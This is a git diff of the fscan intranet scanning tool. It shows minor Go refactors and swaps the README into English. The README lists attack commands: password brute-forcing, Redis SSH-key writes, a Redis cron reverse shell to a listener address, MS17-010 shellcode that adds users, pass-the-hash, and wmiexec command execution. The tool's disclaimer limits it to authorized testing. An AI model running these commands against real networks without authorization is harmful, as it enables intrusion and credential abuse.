gettitle(body) @@ -154,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er } result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { - result += fmt.Sprintf(" 跳转url: %s", reurl) + result += fmt.Sprintf(" jump url: %s", reurl) } common.LogSuccess(result) } @@ -187,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { - raw, err := ioutil.ReadAll(oResp.Body) + raw, err := io.ReadAll(oResp.Body) if err != nil { return nil, err } @@ -216,13 +211,12 @@ func gettitle(body []byte) (title string) { } func GetProtocol(host string, Timeout int64) (protocol string) { - protocol = "http" - //如果端口是80或443,跳过Protocol判断 if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { - return - } else if strings.HasSuffix(host, ":443") { - protocol = "https" - return + return "http" + } + + if strings.HasSuffix(host, ":443") { + return "https" } socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index b5dfe56..e7141e5 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -3,11 +3,12 @@ package Plugins import ( "errors" "fmt" - "github.com/shadow1ng/fscan/common" "os" "strings" "time" + "github.com/shadow1ng/fscan/common" + "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) @@ -39,7 +40,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) { errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) common.LogError(errlog) - if flag == true { + if flag { var result string if common.Domain != "" { result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) diff --git a/README.md b/README.md index ba3d87a..6228f23 100644 --- a/README.md +++ b/README.md @@ -1,198 +1,212 @@ # fscan -[English][url-docen] -# 1. 简介 -一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 -支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 +# 1. Introduction +An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning. +It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions. -# 2. 主要功能 -1.信息搜集: -* 存活探测(icmp) -* 端口扫描 +# 2. Functions +1.Information collection: +* Survival detection(icmp) +* Port scanning -2.爆破功能: -* 各类服务爆破(ssh、smb、rdp等) -* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) +2.Blasting: +* Various service blasting(ssh、smb、rdp, etc.) +* Database password blasting(mysql、mssql、redis、psql、oracle, etc.) -3.系统信息、漏洞扫描: -* netbios探测、域控识别 -* 获取目标网卡信息 -* 高危漏洞扫描(ms17010等) +3.System information, vulnerability scanning: +* Netbios detection, domain control identification +* Collect NIC information +* High Risk Vulnerability Scanning(ms17010, etc.) -4.Web探测功能: -* webtitle探测 -* web指纹识别(常见cms、oa框架等) -* web漏洞扫描(weblogic、st2等,支持xray的poc) +4.Web detection: +* Webtitle detection +* Web fingerprinting (cms, oa framework, etc.) +* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc) -5.漏洞利用: -* redis写公钥或写计划任务 -* ssh命令执行 -* ms17017利用(植入shellcode),如添加用户等 +5.Exploit: +* Write redis public key and scheduled tasks +* Excute ssh command +* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc. -6.其他功能: -* 文件保存 +6.Others: +* Save ouput result -# 3. 使用说明 -简单用法 +# 3. Instructions +Getting Started ``` -fscan.exe -h 192.168.1.1/24 (默认使用全部模块) -fscan.exe -h 192.168.1.1/16 (B段扫描) +fscan.exe -h 192.168.1.1/24 +fscan.exe -h 192.168.1.1/16 ``` -其他用法 +Advanced ``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) -fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) -fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) -fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) -fscan.exe -hf ip.txt (以文件导入) -fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) -fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) +fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning) +fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key) +fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell) +fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command) +fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port) +fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast +fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default) +fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information ) +fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash) +fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module) +fscan.exe -hf ip.txt (Import target from file) +fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080) +fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic) +fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan) +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings) +fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended) +fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision) +fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution) ``` -编译命令 +Compile command ``` go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (可选,压缩体积) +upx -9 fscan.exe (Optional, compressed) ``` -arch用户安装 -`yay -S fscan-git 或者 paru -S fscan-git` +Installation for arch users +`yay -S fscan-git or paru -S fscan-git` -完整参数 +Full parameters ``` +Usage of ./fscan: + -br int + Brute threads (default 1) -c string - ssh命令执行 + exec command (ssh|wmiexec) -cookie string - 设置cookie + set poc cookie,-cookie rememberMe=login -debug int - 多久没响应,就打印当前进度(default 60) + every time to LogErr (default 60) + -dns + using dnslog poc -domain string - smb爆破模块时,设置域名 + smb domain + -full + poc full scan,as: shiro 100 key -h string - 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 + IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 + -hash string + hash -hf string - 读取文件中的目标 + host file, -hf ip.txt -hn string - 扫描时,要跳过的ip: -hn 192.168.1.1/24 + the hosts no scan,as: -hn 192.168.1.1/24 -m string - 设置扫描模式: -m ssh (default "all") + Select scan type ,as: -m ssh (default "all") -no - 扫描结果不保存到文件中 + not to save output log -nobr - 跳过sql、ftp、ssh等的密码爆破 + not to Brute password -nopoc - 跳过web poc扫描 + not to scan web vul -np - 跳过存活探测 + not to ping -num int - web poc 发包速率 (default 20) + poc rate (default 20) -o string - 扫描结果保存到哪 (default "result.txt") + Outputfile (default "result.txt") -p string - 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") + Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") -pa string - 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) + add port base DefaultPorts,-pa 3389 -path string fcgi、smb romote file path -ping - 使用ping代替icmp进行存活探测 + using ping replace icmp -pn string - 扫描时要跳过的端口,as: -pn 445 + the ports no scan,as: -pn 445 -pocname string - 指定web poc的模糊名字, -pocname weblogic - -proxy string - 设置代理, -proxy http://127.0.0.1:8080 - -user string - 指定爆破时的用户名 - -userf string - 指定爆破时的用户名文件 - -pwd string - 指定爆破时的密码 - -pwdf string - 指定爆破时的密码文件 - -rf string - 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) - -rs string - redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) - -silent - 静默扫描,适合cs扫描时不回显 - -sshkey string - ssh连接时,指定ssh私钥 - -t int - 扫描线程 (default 600) - -time int - 端口扫描超时时间 (default 3) - -u string - 指定Url扫描 - -uf string - 指定Url文件扫描 - -wt int - web访问超时时间 (default 5) + use the pocs these contain pocname, -pocname weblogic -pocpath string - 指定poc路径 - -usera string - 在原有用户字典基础上,新增新用户 + poc file path + -portf string + Port File + -proxy string + set poc proxy, -proxy http://127.0.0.1:8080 + -pwd string + password -pwda string - 在原有密码字典基础上,增加新密码 - -socks5 - 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) - -sc - 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) + add a password base DefaultPasses,-pwda password + -pwdf string + password file + -rf string + redis file to write sshkey file (as: -rf id_rsa.pub) + -rs string + redis shell to write cron file (as: -rs 192.168.1.1:6666) + -sc string + ms17 shellcode,as -sc add + -silent + silent scan + -socks5 string + set socks5 proxy, will be used in tcp connection, timeout setting will not work + -sshkey string + sshkey file (id_rsa) + -t int + Thread nums (default 600) + -time int + Set timeout (default 3) + -top int + show live len top (default 10) + -u string + url + -uf string + urlfile + -user string + username + -usera string + add a user base DefaultUsers,-usera user + -userf string + username file + -wmi + start wmi + -wt int + Set web timeout (default 5) ``` -# 4. 运行截图 +# 4. Demo -`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` +`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)` ![](image/1.png) ![](image/4.png) -`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)` +`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)` ![](image/2.png) -`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)` +`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)` ![](image/3.png) -`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc` +`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)` ![](image/2020-12-12-13-34-44.png) -`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)` +`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)` ![](image/netbios.png) -`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)` +`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)` ![](image/netbios1.png) -`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` +`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)` ![img.png](image/live.png) -# 5. 免责声明 +# 5. Disclaimer -本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 +This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself. -为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。 +In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target. -在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** +When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**. -如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 +If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability. -在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 -除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 +Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. . +Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement. # 6. 404StarLink 2.0 - Galaxy ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) -fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 +Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups. - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) @@ -200,10 +214,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G # 7. Star Chart [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) -# 8. 捐赠 - 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) +# 8. Donation + If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png) -# 9. 参考链接 +# 9. Reference links https://github.com/Adminisme/ServerScan https://github.com/netxfly/x-crack https://github.com/hack2fun/Gscan @@ -211,35 +225,35 @@ https://github.com/k8gege/LadonGo https://github.com/jjf012/gopoc -# 10. 最近更新 -[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 -[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 -[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 -[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 -新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 -[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 -[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito -[+] 2022/1/11 新增oracle密码爆破。 -[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 -[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 -[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 -[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。 -[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 -[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 -[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 -[+] 2021/4/22 修改webtitle模块,加入gbk解码。 -[+] 2021/4/21 加入netbios探测、域控识别。 -[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 -[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 -[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 -[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 -修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 -[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 -[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 -[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 -[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 -[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 -[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 -[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 +# 10. Dynamics +[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function +[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format. +[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc. +[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users. +Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default. +[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread. +[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito +[+] 2022/1/11 Add oracle password explosion. +[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default. +[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list) +[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability. +[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once. +[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection. +[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle. +[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc. +[+] 2021/4/22 Modify webtitle module and add gbk decoding. +[+] 2021/4/21 Add netbios detection and domain control identification functions. +[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs. +[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details. +[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA. +[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection. +Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds. +[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing. +[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users) +[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported. +[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module. +[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout). +[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B. +[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips. -[url-docen]: README_EN.md \ No newline at end of file +[url-doczh]: README.md \ No newline at end of file diff --git a/README_EN.md b/README_EN.md deleted file mode 100644 index ef332ee..0000000 --- a/README_EN.md +++ /dev/null @@ -1,260 +0,0 @@ -# fscan -[中文][url-doczh] - -# 1. Introduction -An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning. -It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions. - -# 2. Functions -1.Information collection: -* Survival detection(icmp) -* Port scanning - -2.Blasting: -* Various service blasting(ssh、smb、rdp, etc.) -* Database password blasting(mysql、mssql、redis、psql、oracle, etc.) - -3.System information, vulnerability scanning: -* Netbios detection, domain control identification -* Collect NIC information -* High Risk Vulnerability Scanning(ms17010, etc.) - -4.Web detection: -* Webtitle detection -* Web fingerprinting (cms, oa framework, etc.) -* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc) - -5.Exploit: -* Write redis public key and scheduled tasks -* Excute ssh command -* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc. - -6.Others: -* Save ouput result - -# 3. Instructions -Getting Started -``` -fscan.exe -h 192.168.1.1/24 -fscan.exe -h 192.168.1.1/16 -``` - -Advanced -``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell) -fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default) -fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash) -fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module) -fscan.exe -hf ip.txt (Import target from file) -fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic) -fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution) -``` -Compile command -``` -go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (Optional, compressed) -``` -Installation for arch users -`yay -S fscan-git or paru -S fscan-git` - -Full parameters -``` -Usage of ./fscan: - -br int - Brute threads (default 1) - -c string - exec command (ssh|wmiexec) - -cookie string - set poc cookie,-cookie rememberMe=login - -debug int - every time to LogErr (default 60) - -dns - using dnslog poc - -domain string - smb domain - -full - poc full scan,as: shiro 100 key - -h string - IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 - -hash string - hash - -hf string - host file, -hf ip.txt - -hn string - the hosts no scan,as: -hn 192.168.1.1/24 - -m string - Select scan type ,as: -m ssh (default "all") - -no - not to save output log - -nobr - not to Brute password - -nopoc - not to scan web vul - -np - not to ping - -num int - poc rate (default 20) - -o string - Outputfile (default "result.txt") - -p string - Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") - -pa string - add port base DefaultPorts,-pa 3389 - -path string - fcgi、smb romote file path - -ping - using ping replace icmp - -pn string - the ports no scan,as: -pn 445 - -pocname string - use the pocs these contain pocname, -pocname weblogic - -pocpath string - poc file path - -portf string - Port File - -proxy string - set poc proxy, -proxy http://127.0.0.1:8080 - -pwd string - password - -pwda string - add a password base DefaultPasses,-pwda password - -pwdf string - password file - -rf string - redis file to write sshkey file (as: -rf id_rsa.pub) - -rs string - redis shell to write cron file (as: -rs 192.168.1.1:6666) - -sc string - ms17 shellcode,as -sc add - -silent - silent scan - -socks5 string - set socks5 proxy, will be used in tcp connection, timeout setting will not work - -sshkey string - sshkey file (id_rsa) - -t int - Thread nums (default 600) - -time int - Set timeout (default 3) - -top int - show live len top (default 10) - -u string - url - -uf string - urlfile - -user string - username - -usera string - add a user base DefaultUsers,-usera user - -userf string - username file - -wmi - start wmi - -wt int - Set web timeout (default 5) -``` - -# 4. Demo - -`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)` -![](image/1.png) - -![](image/4.png) - -`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)` -![](image/2.png) - -`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)` -![](image/3.png) - -`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)` -![](image/2020-12-12-13-34-44.png) - -`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)` -![](image/netbios.png) - -`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)` -![](image/netbios1.png) - -`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)` -![img.png](image/live.png) - -# 5. Disclaimer - -This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself. - -In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target. - -When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**. - -If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability. - -Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. . -Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement. - - -# 6. 404StarLink 2.0 - Galaxy -![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) - -Fscan is the member of 404Team 